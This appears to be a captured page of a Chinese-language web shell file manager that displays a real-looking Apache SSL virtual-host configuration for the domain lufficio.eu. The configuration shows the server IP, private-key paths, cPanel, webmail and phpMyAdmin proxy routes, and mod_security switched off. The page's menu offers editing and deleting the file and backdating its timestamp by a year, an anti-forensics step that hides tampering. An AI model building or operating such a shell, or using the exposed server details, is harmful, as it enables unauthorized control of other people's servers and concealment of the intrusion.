文件操作 - lufficio.eu.ssl.conf
返回文件管理
返回主菜单
删除本文件
文件: /usr/local/apache-c/--tempsave/conf.d/vhosts/lufficio.eu.ssl.conf
编辑文件内容
<VirtualHost 5.249.157.183:443> ServerName lufficio.eu ServerAlias www.lufficio.eu ServerAdmin webmaster@lufficio.eu DocumentRoot /home/lufficio/public_html UseCanonicalName Off ScriptAlias /cgi-bin/ /home/lufficio/public_html/cgi-bin/ CustomLog /usr/local/apache/domlogs/lufficio.eu.bytes bytes CustomLog /usr/local/apache/domlogs/lufficio.eu.log combined ErrorLog /usr/local/apache/domlogs/lufficio.eu.error.log # Custom settings are loaded below this line (if any exist) IncludeOptional "/usr/local/apache/conf/userdata/lufficio/lufficio.eu/*.conf" SSLEngine on SSLCertificateFile /etc/pki/tls/certs/lufficio.eu.cert SSLCertificateKeyFile /etc/pki/tls/private/lufficio.eu.key SSLCertificateChainFile /etc/pki/tls/certs/lufficio.eu.bundle SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown <IfModule mod_userdir.c> UserDir disabled UserDir enabled lufficio </IfModule> <IfModule mod_suexec.c> SuexecUserGroup lufficio lufficio </IfModule> <IfModule mod_suphp.c> suPHP_UserGroup lufficio lufficio suPHP_ConfigPath /home/lufficio </IfModule> <IfModule mod_ruid2.c> RMode config RUidGid lufficio lufficio </IfModule> <IfModule itk.c> AssignUserID lufficio lufficio </IfModule> <Directory "/home/lufficio/public_html"> Options -Indexes -FollowSymLinks +SymLinksIfOwnerMatch AllowOverride All Options=ExecCGI,Includes,IncludesNOEXEC,Indexes,MultiViews,SymLinksIfOwnerMatch SSLRequireSSL </Directory> <IfModule proxy_fcgi_module> <FilesMatch \.php$> SetHandler "proxy:unix:/opt/alt/php-fpm74/usr/var/sockets/lufficio.sock|fcgi://localhost" </FilesMatch> </IfModule> </VirtualHost> <VirtualHost 5.249.157.183:443> ServerName webmail.lufficio.eu SSLEngine on SSLCertificateFile /etc/pki/tls/certs/lufficio.eu.cert SSLCertificateKeyFile /etc/pki/tls/private/lufficio.eu.key SSLCertificateChainFile /etc/pki/tls/certs/lufficio.eu.bundle SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown <IfModule mod_proxy.c> ProxyRequests Off ProxyPreserveHost On ProxyVia Full ProxyPass / http://127.0.0.1:2095/ ProxyPassReverse / http://127.0.0.1:2095/ <Proxy *> AllowOverride All </Proxy> </IfModule> <IfModule mod_security2.c> SecRuleEngine Off </IfModule> </VirtualHost> <VirtualHost 5.249.157.183:443> ServerName mail.lufficio.eu SSLEngine on SSLCertificateFile /etc/pki/tls/certs/lufficio.eu.cert SSLCertificateKeyFile /etc/pki/tls/private/lufficio.eu.key SSLCertificateChainFile /etc/pki/tls/certs/lufficio.eu.bundle SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown <IfModule mod_proxy.c> ProxyRequests Off ProxyPreserveHost On ProxyVia Full ProxyPass / http://127.0.0.1:2095/ ProxyPassReverse / http://127.0.0.1:2095/ <Proxy *> AllowOverride All </Proxy> </IfModule> <IfModule mod_security2.c> SecRuleEngine Off </IfModule> </VirtualHost> <VirtualHost 5.249.157.183:443> ServerName cpanel.lufficio.eu SSLEngine on SSLCertificateFile /etc/pki/tls/certs/lufficio.eu.cert SSLCertificateKeyFile /etc/pki/tls/private/lufficio.eu.key SSLCertificateChainFile /etc/pki/tls/certs/lufficio.eu.bundle SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown <IfModule mod_proxy.c> SSLProxyEngine on SSLProxyVerify none SSLProxyCheckPeerCN off SSLProxyCheckPeerName off SSLProxyCheckPeerExpire off ProxyRequests Off ProxyPreserveHost On ProxyVia Full RewriteEngine on RewriteRule ^/roundcube$ /roundcube/ [R] ProxyPass /roundcube/ https://127.0.0.1:2031/roundcube/ ProxyPassReverse /roundcube https://127.0.0.1:2031/roundcube/ RewriteRule ^/pma$ /pma/ [R] ProxyPass /pma/ https://127.0.0.1:2031/pma/ ProxyPassReverse /pma https://127.0.0.1:2031/pma/ ProxyPass / https://127.0.0.1:2083/ ProxyPassReverse / https://127.0.0.1:2083/ <Proxy *> AllowOverride All </Proxy> </IfModule> <IfModule mod_security2.c> SecRuleEngine Off </IfModule> </VirtualHost>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件